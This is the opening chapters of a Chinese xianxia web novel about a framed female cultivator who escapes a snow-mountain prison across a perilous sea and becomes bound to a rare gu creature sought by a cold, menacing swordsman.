《苟住!你是反派大佬的白月光》
1. 炼雪囚下风云起
寒雪六月纷飞,飘絮似羽,整片陪尾雪关皆沉寂在冰天雪地中,山脉蜿蜒曲折,似玉虬伏山。
陪尾雪山有几个人正在往山顶而去。
‘‘都已经是年末了,竟还要来上职,也不知道这又要来个犯了什么事的。’’
‘‘听闻是中皋霄华的人押过来的,这个人是有多想不开去招惹霄华宗。’’
陪尾雪山有一牢狱叫炼雪囚,关着的囚徒多大是罪孽深重,犯了滔天大罪不可饶恕,狱中的囚犯都是处理起来颇为麻烦的人,都是修者会用灵力,普通的犯人还没有资格关在这。
两个狱卒在牢外莫约等了半个时辰,中皋霄华的人终于来了。
一个狱卒眯眼望着不远处一行人,对身边的同伴道:‘‘这阵仗也不大啊,’’
‘‘确实,准备准备咱们过去接人。’’
两人迎着纷纷扬扬的雪而去,可接到人时,两个人都是诧异的对视。
‘‘真的是她吗?’’
这也不是没有接过女囚犯,但是这个女人被捆在绳子上,发髻散乱,白纱裙上血迹斑斑,倒在地上不省人事,但是怎么看着都不像会做恶事的人。
‘‘这个是私下与魔修勾结的人,还害的她的师门死伤无数,罪恶至极。你们只管把人带进去好好看着就行了。’’
说罢,中皋霄华的几个修士把人和罪状证词给了两个狱卒,火急火燎的离开了陪尾。
-------
任舒映是被冷的清醒过来的。但她全身僵硬,动弹不得。
两个狱卒带回才发现这个女人长得还真的是国色天香,精致的小脸小嘴,光是看着那脸白的比外头的雪就知道。‘‘可惜了长得如此好看,竟干些离经叛道的勾当。’’
‘‘我方才看了,她那伤势已经要她大半条命了,就把关那吧。’’
‘‘等下,你不给她烙上极冰印?’’
每一个关在炼雪囚的人都要在后背烙上永不消除的冰印,这也是方便囚犯逃跑后,根据印记把人找出来。但是负责烙冰印的同伴却摆了摆手,
“算了算了走吧,这女人太好看了我可舍不得下这个手,反正这印不印还不是我们说了算,今日我就怜香惜玉一回把,况且去那冰窟去取极冰都可以能把人冻死,还是早点下山吧冷死了。”
‘‘呦,你还怜香惜玉上了。你家娘们知道了不把你抽一顿。’’
同伴一脸猥琐:‘‘兄弟呀,你不说谁会知道,万一咱们来了兴趣,玩个女人这看见玉背血肉狰狞的,这不是多扫兴啊。’’
‘‘嗬,这话在理,也罢也罢,反正上面也没有人查这个.......’’
两个狱卒在任舒映的牢房外说了几嘴,落了锁就走了。
任舒映听完,牢内重归寂静。她徐徐睁眼望向头顶从窗外照入的寒光,眼眶不禁滚烫。
世人都在说她与魔修勾结,私自放魔修,害的许多修士都被她勾结的魔修杀害,在宗门比试中不择手段用了魔修那学来的邪门歪道夺得魁首。
即使是她如何解释,也不会没有人会相信她,最可笑的是与她的同门师姐明知道内情,她所救的人是凡人,还佯装不知情,反口污蔑,成为告发与魔修勾结的重要目击证人,此事才得以定她的罪。
她此前最是厌恶的人,如今到底还是成为了世人口中的恶人。
她自嘲的笑了笑,又晕了过去。
‘‘哎哎,小姑娘醒醒啊,哎呦怎么冷,还不盖着被子,睡个劳什子哦,在这样下去该冷死嘞。’’
‘‘哎小姑娘,你终于醒了啊。’’
见任舒映微微动了,隔壁牢房的妇人往那小洞口睡着的任舒映又叫唤了声。
任舒映觉得喉咙干紧难以言语,头晕目眩,眼皮仿佛被压得抬不起来。但她听清楚了隔壁有人在和她说话。
她不由得感叹自己,受了雷鞭刑,中了毒竟还没死,命也是够硬。
她恍恍惚惚又过了几个时辰,她终于爬上木板上,蜷缩在单薄的被子中。她就是这样,阎魔王不收她,她也不会寻死,苟延残喘活一刻是一刻。
隔壁的人也是听见都动静,立马往她这边的小洞探出头来。两个人打了个对照。任舒映观察了片刻又把脸窝回被子里。
隔壁关着的是一个三十来岁的女人,宽额头,细眉毛,凤目。就算是衣衫简朴也压不住她的豪迈又洒脱的气质。
‘‘哎,小姑娘你终于醒了,你睡了七日,若不是个修士还有点灵力维持早就被冷死了。’’
‘‘喏,拿着我这里有颗丹药,吃了吧。’’那女人虽不见她回答,但还是自顾自的说话。
听见药落到木板上的动静,她仰起头看向洞口,动了动干涩的喉咙终于说话了。‘‘这是什么?’’
‘‘救命稻草,你那边有水,混着吃了吧。’’
任舒映寒冷与吃药纠结了一番最后一个死鱼翻身,拾起丹药,爬了起来。
什么药都不重要了,苟着吧。
任舒映把水药下了肚,又窝了回去。
“小姑娘,你既吃了我的药,是不是该理我了?”女人带着哄孩子的语气又问。
闻言,任舒映爬起来将被子把自己裹了严严实实的,仰起头看着洞口:
“前辈请说。”
“叫啥名字呢?”
“渺——”她正要报上门派乍想起已被逐出师门,又一顿改了口。
“任舒映。”
“舒映小姑娘。”她重复了一遍笑出声音,“好听,名字不错。”
“前辈你呢?”
“你叫我花姨就好,一口一个前辈的太古板了。”
任舒映点头,“花姨,多谢你给的药了。”
“不必客气,你只要没事陪我说说话聊聊天就行了。”
任舒映看向花姨,感觉她好像有些落寞。
“好的,花姨,那您在这里呆了多久了?”
花姨听完一会用手指头扳算,一会又凝起眉揉两鬓。
“嗯……有十二年了吧?你说是吧老枭。”
任舒映动了动耳朵没有说话,沉默少顷,花姨连连叫了几声,而且声音越来越大。
“老枭,”
“老枭?”
“老枭!?”
“枭杰!!”
“……你记糊涂了,十五年了。”
任舒映听见了男人雄厚的声音,瞥了宁外一边的那堵墙。
原来她夹在花姨与那个老枭两个牢房中间,若不是隔壁老枭有回应她都不知道那有人。
“……不是吗……又记错了啊……竟已过了十五载。真的是光阴难留啊……”
任舒映等花姨说完,转头安慰她:“花姨不必感怀,呆在这里亦有好处,在此坐井观天也不必在乎世人的感受,不必虚与委蛇,在这里过好自己的生活就好了。”
言罢,花姨深深的看了任舒映一眼,赞叹一声:“难得见如此通透的孩子。”
————
任舒映在牢中呆了几日,倒是很快适应,靠着花姨随便解了牢中的情况。牢中不仅有花姨、枭叔。好几处还关押着几年前几大宗门命案的行凶者,总之一个个都不是好惹的茬。
花姨对她说过,牢内坚不可破,是因为每月中旬,会把囚犯暂时放出来,将他们带入祭坛强行用聚灵珠逼迫他们加固缚地结界。
巧的是,不日就是六月中旬,花姨叮嘱任舒映好好保存灵力,以便在加固结界时有足够灵力补充免遭聚灵珠反噬。
就这样任舒映又休息了几日,一直无人踏入的囚雪牢终于出现了一阵动静,任舒映在深夜悠悠转醒,外面许是来了不少人。
牢门一打开的瞬间,夹杂着冰雪的寒风一股劲的直冲而入。
任舒映打了一个激灵,彻底清醒了。
“舒映,他们来了。”花姨不知何时站在洞口旁出现。
任舒映沉吟一瞬,压低声音问了一句:“是要去加固结界了?”
花姨一边严肃的叮嘱,一边堵好两人交流的洞口,“舒映,你待会出去紧跟着我和老枭,不要乱走。”
任舒映点头应了一声。
随后牢房门口走来几个狱卒,
“你们几个都过来。”
她起身走了上去。
“手伸出来。”任舒映手腕被戴上了刻有禁制的手铐后才被带了出来。
任舒映一出来往花姨往花姨方向瞥了一眼,但是她没有出来。
倒是见到枭叔慢条斯理走出来,枭叔那堵墙其实也有打洞口,应该是和花姨说话用的,但是洞口一直都是堵着。任舒映也是第一次见到隔壁一直沉默寡言的枭叔。
不过和她所想像的样貌完全不一样,她一直以为会是个凶神恶煞,让人观之不寒而栗的样子。
如今看来倒是与花姨年纪相仿,或许是因为常年没有打理过外貌有些老气,两腮有皆是稀疏的胡茬,眉骨立体,反而有一派正气。
枭叔与任舒映对视一眼又转移了视线,独自径直先出了大牢。任舒映则等最后出来的花姨再出去。
“哎,哎哎。”
任舒映一出去就被拦下来。那人指着任舒映问了身边一个狱卒:
“这个是不是几日前新来的那个?”
“对,就是她。”
“行,你过来跟我走。”
任舒映被扣过去,一头雾水去了另一条路。
————
任舒映被人引到了一个小屋后,带路的狱卒停在外面对她说:“你师门的人来看你了,进去吧,别太久啊。”
任舒映一怔,心中忐忑。
她缓缓开门,一道修长的身形定立在大堂上,一身青衣,墨发简单的束起。
“师兄……”
任舒映大抵也是猜到了,渺梦山到现在关心她的,已经寥寥无几。
她与师兄曾经一同拜入师门,如今师兄来看她虽是
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情理之中,但也有难以言说的愧疚感。
她并非是因为所谓的与魔修勾结,她没有做过的事情从来不认,但是因为她的事情连累了师兄许多。
“阿映……你近日可受苦了。”
任舒映是柳邈最喜爱的师妹,不管遇到何事,他永远都是眉目温柔,沉稳而舒缓的语调。
任舒映每回受到委屈,第一个想到的都是柳邈,可这一次她却没有将情绪流露出来。
她已经被逐出师门,师兄会离开,她不能再一直依赖他了。
念及至此,任舒映平复了心绪,浅笑看着他。
“没事,师兄。我……在牢中遇到一个长辈,她一直都在照顾我。”
柳邈垂首若有所思点头,可又想起师妹遇到的事不多阅力不足,遂提醒道:“画皮画心难画骨,知人知面不知心。牢中都是来路不明之人,多留心眼万事小心为上。”
“我知道了,会注意的。”任舒映乖巧的回应,终于问起了一直担心的事:“对了,渺梦山怎么样了?”
柳邈面色一下子苦闷起来,
“那夜魔修攻入邈梦山,幸好有师尊及几位长老坐镇用了三日才保下。”
“……那、真的如外面所说的一样吗?”任舒映在牢中其实也在时不时向狱卒打听外面的情况,但终究是他人口中说出来,没有完全相信。
柳邈一直在观察任舒映落寞的神情,沉默了一会接着说:
“差不多吧,大长老、二长老都死于非命,还有几处大殿都被烧毁了,此次宗门确实是元气大伤。”
任舒映愧疚愈深,若不是她救了来路不明的人又怎么会养虎为患,酿成人祸。她正沉浸在自责中,不经意间她瞥视师兄在打量她。
“……师兄,你是要问我什么吗?”
柳邈回过神,言语间变的结巴。
“师妹……师尊他…受了重伤,昏迷不醒。”
任舒映一下紧张起来,脑未动口先出:“怎么了,可是伤到要害了吗?”
师尊待她如同亲生女儿一般,她自然是焦急万分,何况还是她的过失。
“不必太过担心,师尊被安置在药泉休养,也请过陇北药尊看过了,只是这药方上缺少一味药引。”
“什么药引?”
“神献灵脉。”
任舒映一怔,蹙紧秀眉。
柳邈见她沉默解释了一番:‘‘如今师尊不省人事,又事关师尊伤势,若是他可曾向你提起过,也可以为我们寻找神献灵脉提供一些线索。’’
‘‘我.......我不知道,师尊他提过这神献灵脉并不多,他曾经说神献灵脉可虚或实,机缘之下才会出现。’’细细想来却又觉得不妥,她紧接着道:
''''师兄,这神献灵脉乃上古灵根,传闻可起死回生普通人得此灵根更是羽化登仙,长生不老。可这传的太过于神乎奇神,不可尽信,不如这味药另择一类。''''
柳邈淡笑,‘‘是我疏忽了,多谢师妹提醒,我会尽快寻找新的药方,师妹你在这里要照顾好自己,我便先离开了,’’
‘‘好。’’任舒映注视着柳邈如风般翩然而去的背影,内心却沉寂下来。
她觉得今日的师兄有些古怪,今日的他却给她一种审问的感觉,似乎颇为关心神献灵脉的事。
神献灵脉的事明明只有她和师尊知晓,师兄又是从何得知。
不过最大的秘密还是她身上的神献灵脉,她一直记得师尊万分叮嘱过她无论何人都不能说出去,所以这次她才会对师兄撒谎,可是她内心始终隐隐不安,如今她宁可往好处想,但愿她的多虑是多余的吧。
任舒映没有被带去祭坛,原路而返,被关回牢内。但是牢中只有她一人,花姨他们还没有回来。
---------
直到夜半落了大雪,大牢外才有了动静。
任舒映从木床上跳起来往外探出一个脑袋四处张望,外面的囚犯源源不断带进来。可是他们每一个人似是受了不轻的伤,步子缓慢,疲惫不堪。
她猜测或许是花姨之前说的灵力不支,遭到反噬。
最后花姨枭叔也都回来了,花姨路过任舒映时还无声的对她微笑。
像是长期未归的长辈对孩子的慰问。她也笑了笑放下心后她窝回了木床上。
花姨听见守牢的狱卒锁上外面的大门离开了,熟练扒开被草堆封开的洞口。
任舒映凑上前去:‘‘花姨,你们还好吗?’’
‘‘还好还好,不怕哈,我们死不了的哈哈。’’她端详着花姨虽然她脸上也是遮不住的疲倦,但是眼睛亮亮的。
‘‘花姨你怎么看起来心情很好?’’
言罢,花姨脸上更是笑的灿烂,她更加困惑了。
‘‘来,你再凑过来点,我跟你说个事。’’
她乖巧的把耳朵贴了上去,可是当她听完,她一度怀疑是不自己听错了,几乎要诧异的弹跳起来。
2. 无妄海中异事变
“当真?”任舒映再次确认。
“那还有假,我休息一会,等蜡烛燃尽就会动手。”花姨嘿嘿一笑,又躺回原处。
没想到花姨和牢中的囚犯已经为谋划逃狱已有十年了,今夜是他们苦心谋划的逃狱之日,胜败再次一举。
一向安静的牢房都隐隐约约有窸窣动静,似乎是他们内心激动着叫嚣,要愤怒的冲破这个桎梏他们的牢笼。
“醒醒。”
任舒映被人摇醒,她睁开眼睛,现入眼帘的是一片漆黑,唯有连接牢外的小窗口有淡淡的月光倾斜。
花姨站在她面前叫醒了她,
“走了,我们出去了。”
任舒映没有说话,坚定的点头。
枭叔一直在门口外面等着她们,此外还有许多未见过的面孔。
“我们用聚灵珠加强结界的时候故意封住了灵脉,在满月之日聚灵珠没有吸食足够灵力,无法运作加固结界,但是结界一旦破除,外面就会出现预警。可能也会有人封锁山下所有的路,所以我们只能向山背去。”
枭叔站在结界内沿,对所有人说道。
“我看我们直接杀出去吧,我们好歹也是当年出过名的恶霸匪徒。他们若是得知消息,指不定还在哪聚在一窝遣兵调将呢。”
任舒映听后随即打断了话,“不妥,你们受聚灵珠反噬本来就需要静息养气。逞能得了一时,又抵挡得了多久?若是落入山下的陷阱就是插翅难飞。”
“那难道要要滩那条海路,若我记的不错的话,那海是无妄海,去了的人,就极少出来过的。海里还有那吃人的哭鲛。这岂不是无路可走?”
“无妄海天相瞬息万变,不能御剑,倘若坠入海中更加凶险,我等宁可与外面那群名门正派一战。”
争执一番,局面陷入了僵局。一派打算杀出一条血路,一派滩那凶险的海路。
“哼!我可不是你们这群胆小怕死之辈,你们若是不走我便先行一步,告辞!”
一个汉子已经没有耐心耗下去,率先破了结界,很快又有人接二连三的跟随上去。
花姨问任舒映:
“你呢,想怎么走?”
“两条都是死路,我们有的选吗?”任舒映看着花姨,露出一个安然而平淡的笑:
“我想试试海路。”
“那好啊,我和枭叔正有此意,直接下山必然是死路一条,我也正想知道这神秘的无妄海当真有如此凶险。”
任舒映笑着忽地心不在焉,“希望我们可以绝处逢生吧。’’
走海路的人还剩一半。剩余下来的大多是有走过海路的人经验丰富,且不畏水。
最后他们商量着利用海边的树制造一个简易的木船,带走牢中的聚灵珠在船上设保护结界。
——————
九翼州,陪尾雪关。
“不好了!不好了。急报—。”一个信吏直冲陪尾大司营的殿前。
人还未来得及阻挡询问清楚来路,信吏一路直奔殿内。
直到他破门而入,大司营正搂着一个美婢,沉浸在舞乐笙歌中。
“大胆,尽敢擅闯祈仙宴,来人啊!还不快拖出去。”
待从抬头一看,大司营油腻的脸上渐渐阴沉,大司营放开美婢看向信吏。
人族大司营今日设宴,邀请修界诚招各路神仙福佑人族皇室国盛昌吉,竟不料中途出现的信吏被打断了祈福宴。
大司营身边的小厮立马会意,先是怒斥不懂规矩突然闯入的小卒,随后颇为识相的叫人把他带走。
座下的通仙师若有所思的扫了一眼小卒,又叫住了大司营:“不如先问问这位小卒前来所为何事吧,观这情形或许是迫不得已,且稍等片刻,请仙一事,我自当向上仙请罪。”
言尽,大司营百无聊赖看着信吏:“罢了,既然如此,你快点说到底发生何事。”
“……回、回大司营,昨日深夜陪尾囚雪牢被破牢,牢中囚犯逃狱今日杀了下来,正……正在往平捷关方向去。”
大司营拍案大怒,“什么!囚雪牢的狱卒都去哪了!居然连牢房的人都看不住吗?!”
座下通仙师心道不好,随即发话:
“大司营,牢中都是修界恶徒,极难对付,恐怕今日的祈仙宴不能继续了,事关重要,我需要回霄华秉明,再派人前去捉拿罪犯。”
————
无妄海。
任舒映一等人在海面已有三个时辰。环顾四周,皆是天水相接,水波粼粼,海上风平浪静。
“你们快看啊!这……这海水变黑了……”一直在外面望风的人大叫,把全部人的注意都吸引过来。
“这是传闻中的焦水有剧毒,别碰!。”
任舒映自顾自走到船岸边端详半晌,弯腰用双手捞起海水道:“……不对,这个海水是清澈的。”
众人将信将疑的把脸凑上来观察,不过捞起来的海水的确是干干净净。
任舒映认为恐怕不是海水的问题,曾经看过一本山海志,书籍中记载,地势越深的海域,远远望之色泽发暗,会误以为是墨水。
她知道自然是有人不相信的,她亦是不敢妄下断语,除非亲眼所见。
“不管下面是什么,此处危险重重,又对海里的东西知之甚少,若是船真的翻了,你们就学我刚刚教的泅水之法吧。”
一个红衣老汉站出来提议道。
可任舒映自从到海上后总时不时的听见下面有东西在叫,可是问了一通却没有人说听见,直到日落西去,这种平静而异常的诡异氛围才传到每个人的脸上。
“不好!船一直没有动!”
红衣老汉忽的惶恐不安跑过来。
任舒映在船另外一边看着花姨枭叔运行聚灵珠维持船的运作。
任舒映走向前去,原来老汉是在天黑后夜观星象,看了很久星位一直都没有动,他才恍然发现,是船没有动。
而只有任舒映可以听见的奇怪声音越来越清楚,似婴孩啼哭,凭着声音的判断,应该就是哭鲛,并且船还极可能抵达了哭鲛的老巢。
任舒映来不及继续思忖,船猛的摇晃,几个站在岸边的人脚下不稳,“扑腾”一下跌入海里。
“救命啊……救命啊……!”
任舒映心急如焚,她受毒的影响,灵力堵滞,施展不出半分作用,不得已她只能向结界内在护法的人前来相救。
可还未来得及支会,短短几秒,溺水的人都消失无踪。
这个突然让全部人始料未及,即便是杀人无数的牢犯,面对这种情况也已不能镇定自若。
海上不过须臾,翻起浪花,黑压压的天幕遮蔽了星位,影影绰绰有电闪闷雷。
任舒映蹲在岸边,看着眼前漆黑一片的海域,静闻海水涌动。
“舒映,你在哪?”
闻言,任舒映挥起手臂大声回应:“这里!”
花姨召出一个月明珠走了过来。
“给你这个好好收着,”花姨递给她一张符箓,“这个是避水符,枭叔让我给你的,观此情形万一真的出现意外就用它,它可维持半日。”
任舒映十分感激,她想起了她师尊和师兄,也是这般无微不至的照顾她,她对着花姨眨了眨眼睛,面露笑容:“谢谢花姨。”
任舒映拿到符后就让花姨回聚灵珠结界内继续护法,现在船上的人少了一半,她决定待在外面望风。
虽然方才有下雨的前兆,但是这雨迟迟没有下一步的动静。倒是她吹着海风马上就要睡着了。
可睡的她马上就要倒下,她翻了一个身欲要侧睡时,腰上摸到一个异物差点没把她吓死。
触感是冰凉凉、滑溜溜的,手上还余留奇怪的粘液,特别渗人的是个异物缠着她的腰。
任舒映心惊胆战:“!!”。
不会是蛇吧!
她几乎是用手扯出来,或许是拽疼了它,居然还发出了婴啼声。但是还没有握稳,它反应极为迅敏,稍微挣扎便挤出掌心,滑落水中。
“……”
她检查身体没有被刚刚那滑溜溜的东西咬伤后,吐出了一口气。没等她放松警惕,又是“啪”一下。
船板上跳上条更大一只哭鲛。
她谨慎的思虑少顷还是用了避水符,符被灵力催动,附近即刻出现一层透明的微弱光罩,她终于看清楚哭鲛究竟是什么了。
全身皆黑,头部扁平,两颗小小的眼睛,眼距很宽,尾长犹蛇……实在是丑的可爱。
哭鲛趴在船沿一边艰难的蠕动,一边“嘤嘤嘤”地哭,
任舒映看着直发毛,她看到哭鲛离她越来越近终于回过神过来,哭
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鲛一直往她的方向爬去。
任舒映犹如一块石头,纹丝不动。视线一直定在哭鲛上。
哭鲛始终没有要攻击人的举动,它用身体缠着任舒映的脚踝头直挺挺的向海水拽着。
这莫非是要拉我下水?
任舒映小心翼翼走了几步,海中一只巨大的哭鲛一跃而起,激起巨大的浪花。
那只哭鲛大小是她脚下的数千倍,已有船一半大小。
结界外的几人闻声皆走过来,观此浪花不止涟漪不平好奇问任舒映:“这里方才怎么了?”
任舒映没有理他们,而是对着海面:
“我下去,但是你们让船走出这里。”
正当众人还疑惑不解之时,船突然一阵晃动居然真的缓慢移动起来。
这哭鲛果然通人性,任舒映对着其他人交代:
“我若下去,替我告诉花姨,让她不必担心我。”
说罢,她纵身一越,海间浪花瞬间将她吞进海里。
哭鲛在水中穿行,原以为哭鲛性情温顺,却忽然张开利齿遍布的嘴巴尝试着咬破避水符的结界,不过还好结界暂时是安全的。
差点被它们丑萌的外表欺骗了。
海中除了避水符结界淡淡的光芒,便只听见哭鲛的抽泣声。
任舒映乍然想到若是她被带到海底深处,那时避水符也无法护着她,随后她迅速的催动灵力试图向海面冲去。
她非但没有向上浮起,反而像落入了一张大网中,大网一直都在把她往海下拽。跟在她周围的哭鲛像是害怕海底深处的东西,畏惧的不敢再往下游。她往下面远远的望着恍然间似有熹微的莹光。
既然结界还没有变弱,她不得已鼓起勇气继续深入,片刻她的视线变得明亮,此处怪石嶙峋,海草覆盖在石壁表面,宛然一处海中仙境。
而散发的流萤都往同一处汇聚,这是海草蔓延的尽头,这里没有凶险的海兽,只有一个凹陷的坑,坑里有一个巨大的海蚌,成千上万的锁链把蚌壳封的严严实实。
任舒映并不想知道里面是什么,但是她可以肯定这里有一个封印阵法,就方才她靠近一条断裂的锁链上研究了一番,竟是上古法阵。
锁链刻有玄经文,但不确定内阵是什么。
但是可以确定这是梅花阵中阵的一种,极难破除。
既然是有心之人在此花大功夫设阵,那必然是难以对抗之物,锁链已经断裂无数阵法已经不稳定了,还是尽早离开吧。
任舒映欲要离开,一道极为强悍的剑气猛然从海底震荡开来,她心中即刻不安起来,口吐鲜血受了内伤还差点卷入梅花阵中阵。
看了是海中是有人下来了,此人来路不明,她毒伤未愈再受内伤,斟酌片刻她决定避开此人,躲入乱石群中。
此人一路上都在用剑对付哭鲛,一道道剑气搅的海中气旋乱撞,她在乱石群中都能感受海草摇晃不止,乱石滚动,可见内力深厚,实力不容小觑。
任舒映转念一想,正好也替她除掉了苦蛟,也算是省了她一桩麻烦。
不过思虑须臾,此人竟然出现在阵法面前,哭鲛在他手下如同蝼蚁,弹指一挥间尽数剿灭。
哭鲛血在海中瞬息之间绽放成艳丽而鲜红的花。
与此同时,一把黑剑带拖着长长的幽紫色流萤紧跟男人身后。
‘‘孤竹京你给老子站住!!不是说好这海里的哭鲛都给我杀的吗,你竟然出尔反尔把它们都炸碎了!’’
任舒映自幼便通晓生灵的语言,水中唯他们几人,如此看来是这个叫孤竹京的剑灵在说话。
任舒映不禁屏息静气,目不转睛的窥探,只见此人身姿高挺,剑眉凤目,披着一袭玄黑色大氅,金冠束发,似是殿堂中矜贵而手握权势之人,如锦缎般的墨发半披于肩后。
远远观之有修界大派长老的气势,可她绞尽脑汁也想不起来修界有年纪轻轻就当上大任的能人。
任舒映歪头忖度,又忽然陡生出莫名熟悉的感觉,这个身形,她好像在哪见过。
神游之间,那男人微微侧身似看着剑,又仿佛已经发现了乱石群中的任舒映,语调平淡道:
''''聒噪,还不过来。''''
剑只得向成千上万的条条锁链穿梭。
躲着锁链后乱石群的任舒映‘‘!!!’’
3. 雪鲛蛊入危谁身
他居然强行破除阵法。法阵内的东西与她毫无关系,继续呆在这里越久危险也多一分,还是趁着那个叫孤竹京的在破除阵法的时候先溜一步。
阵法久经多年已有破损,再加之外力的强行破除,锁链外阵不堪一击。锁链被拦腰斩断,海草飞扬。
任舒映没走多远,身后顷刻间地动山摇 。
她不禁腹诽道,“真是自寻死路。”
看来外阵已破,她心下一凛,手中攒动灵力,加速上岸的速度。
可变数就在这时,她猝不及防的被一道强大的吸力卷入阵法。
这仅仅瞬息之间,避水符结界仿佛天旋地转,待她清醒过来,她跌入一个陌生的宫殿内,宫殿金碧辉煌,四壁雕龙刻凤,明灯荧然,她还没有缓和下来,那把剑倏地直朝她穿去,任舒映没有躲避,等剑仅剩半步时,她不紧不慢的翻身,剑划破了一片衣角。
“你是何人?”
孤竹京悄无声息的出现在任舒映身侧。
“意……意外坠海。”
孤竹京沉默不语的打量她,视线中带着危险的审视。
“坠海么?”
孤竹京冷漠的看着她,手如冰冷的蛇躯缠在她的颈脖上,力道渐渐的加重。对方手速极快,她还没有做出反应就被遏制住自己的颈脖。
任舒映心中大骇,她没想到孤竹京竟这般心狠手辣,危急之时,她终于把手上积存许久的灵力击去,但是她攻击的是宫殿中央放置的巨大海蚌。
可惜还是如她所料,内阵在保护海蚌,灵力在触碰内阵之后炸开。
孤竹京没有转头,他略微掀动眼皮突然松开了手,带着危险而邪气的笑容道:
“不如这样,我给你换种死法,让你死的更有价值些如何?”
任舒映惊魂未定,又被扔进阵法里了。
任舒映:“……”
她已经准备赴死了,却又一次出现意外,她像圆球滚了几圈后,完好无损的进了阵法内,
任舒映暗骂几声,怒视对方。
疼的几乎全身都要散架,
任舒映虽然能安然无恙的进去,可阵法却把跃跃欲试要进入阵法的孤竹京拦住。
任舒映才安心下来,观察着阵法的周围。虽然外阵已破,但是两个阵相互独立,即使是他用内力破阵,仍然固若金汤,但是也不知为何阵法只允许她进入。
与此同时,海蚌内幽幽传出孩婴的哭啼,与比哭蛟的哭声更加细,她一步步谨慎地靠近海蚌。
‘‘喂。’’孤竹京叫她。
任舒映警惕的转头看向阵外。
‘‘你打开它,把里面的东西带过来,我可保你不死。’’
‘‘如何保证呢?’’她反问。
‘‘此物于我而言至关重要,你若信我我答应你一个要求,’’
孤竹京定定看着她,眼眸漆黑而平静,让她产生一种孤竹京好像对海蚌毫不在意的错觉。
任舒映:‘‘.......’’。
且不说答不答应吧,如今她内或许要面对哭鲛,在外是那个不怀好意的孤竹京,哪还有选择,都是危险啊。
她没有回话,转头寻问:‘‘所以里面是什么?’’
‘‘一只蛊母,它不会伤人,我虽没有见过,但此世间唯此一只。’’
‘‘……我要怎么打开。’’
任舒映疑狐看着阵法外的人。
‘‘试试用灵力。’’
‘‘‘.......哦。’’
任舒映走上前去,念诀,指尖灵里攒动,流萤环绕。
海蚌纹丝不动。
''''.......''''
她重复数遍,海蚌依旧固若磐石。
孤竹京在外面观察半天,最终忍无可忍打破沉默又尴尬的氛围:‘‘''......你会不会用灵力?’’
任舒映曾是渺梦山天资过人的弟子,一直是普通弟子眼中出类拔萃,超群绝伦的天之骄子。
如今灵力因为中毒而堵滞难以运转,再加之声名扫地又被此人数落,已有无法言说的挫败感。
她掩饰尴尬的神情淡定自若解释道:
‘‘我受过重伤,有时用不了灵力。’’
孤竹京顿时无言,冷哼一声,再次走到法阵边缘,沉默尝试强行破开法阵结界。
任舒映虽然不能用灵力打开,但是她发现海蚌两壳之间有一条细微的缝隙,她的手掌正巧可以探入,鬼使神差地她把手放进去试着扳开,她回过神被自己可笑的行为逗笑了。
她正要抽开手,缝隙突然合紧,把她心头一惊,拼了命的往外扯。
''''斯——''''她吃叫了一声。
……还好,有惊无险,差点要断指了。
海蚌外沿锋利无比,她为了强行扯出来,手指的骨节已经划的都是血痕。
就在此时,海蚌摇动,缝隙再次张开,开口更大了。
一个雪白的小脑袋悄然从缝隙探出来,正在欢快地吮吸她留在海蚌外沿的血迹。
莫非这个就是刚刚那个人说的蛊母?她想到哭蛟,这个小东西和哭蛟特别相似,但是这只蛊母通体莹白如玉,不似凡物。
蛊母用黑葡萄般的眼珠盯着她,随后爬出来缠绕在她指间只觉得指上凉凉的,然后它张开嘴巴,露出仅有的两颗乳牙咬穿她的皮肤,竟在喝她的血。
任舒映顾不得其他,急忙叫唤外面的孤竹京,‘‘蛊母在这!’’。
可对方怔在原地,俊逸的脸庞上有一丝错愕。
雪鲛蛊母狡猾无比,她竟如此就抓到了?
任舒映大步流星走来,阵法丝毫未阻挡她出去。任舒映站在孤竹京面前伸出手:‘‘是这个吗?’’
孤竹京垂首,浓密的羽睫投影在眼睑下,微微拧眉神情淡漠。
他伸出修长的指节,可蛊母有预知般,仓皇躲避,它咬了一口任舒映的手化为一滩水融进伤口里消失无踪了。
‘‘……它不会任我做主了吧?’’
“不然呢?’’
孤竹京面若冰霜。
‘‘……对不起我不知道它喝了血就认主了。’’
任舒映这个时候真的害怕了,孤竹京眼神犹如一把利刃,与他对视仿佛自己在被凌迟。
‘‘怎么?怕我杀了你?’’
''''嗯……啊!''''她张了张口,突然感觉一股砭骨的寒意瞬间蔓延到五脏六腑,四肢百骸。
不行,苟着,她蹙起秀眉,带着求助的目光看着对方:‘‘这个蛊是不是有毒啊?’’
''''有毒。''''他淡漠回答。任舒映心凉了一大半。‘‘不过,它与你同生共死,它会喝你血,但是不会把你喝死,现在是它太饿了喝的血太多,寒毒就会缺血发作。’’
任舒映:‘‘........’’
''''你的血就是毒,一旦缺血,毒就会入侵你的五脏六腑,折磨你让你生不如死。’’
他的嗓音微沉,话语间尽是轻描淡写,无一丝起伏。可是与她而言,他的话比无间地狱阎魔王还可怕。
‘‘........那那那可有把母蛊引出来的办法?’’
‘‘自然有,待母蛊成年,便可以取出来。’’
还好,也不是没有生路。
孤竹京看着她再次露出邪气的笑容,‘‘但成年蛊母若是不肯出来,我便只能将你的抽干,让它饿的无可奈何自己出来了。’’
任舒映目光紧紧的落在孤竹京那俊美无双的脸上,脸上毫无波澜,心中破口大骂这个
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草菅人命的疯子,若不是中毒之后灵力低微,剑灵失踪,她定然不会用师兄教她的示弱之法如此苟活,憋屈至极!
‘‘不要用这个眼神看着我,不然我会以为你在骂我,并且还想杀我。’’孤竹京斜睨身侧轻轻的吐出几字。
‘‘.......’’
任舒映隐忍不发,冷哼着收回了视线。
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他们出了海面已经天色大亮,巨大的天幕了无纤云。
任舒映却再次倒下了,她在入牢时就因为陪尾受寒落下病根,如今这蛊与她的病情相冲,直接损伤了她的心脉。
若不是孤竹京探过了她的心脉,他都快以为她频频发病是佯装出来的了。
见此清形孤竹京担心她撑不住带着他寻了千辛万苦的蛊母真的死了,无奈之下只能往无妄海最近的居所暂缓几日。
南下半日,他们到了陇北鄄宗,此地为音修,器修云集之地,灵力丰盛,土地富庶。当地修士平日素来喜爱舞文弄墨,抚琴弄笛。被修界称为儒雅之都。
孤竹京寻了一家客栈落脚又马不停蹄去寻医师,可是寻遍几家医师都束手无策,他辗转一日,日落西山,竟是寻不到一个能够医治的。孤竹京回到客栈后回任舒映已经昏迷一日,通体冰凉。
孤竹京当真是不想管这个女人了,动不了命,全身还都是毛病。他听医师讲了一日,头疼万分。
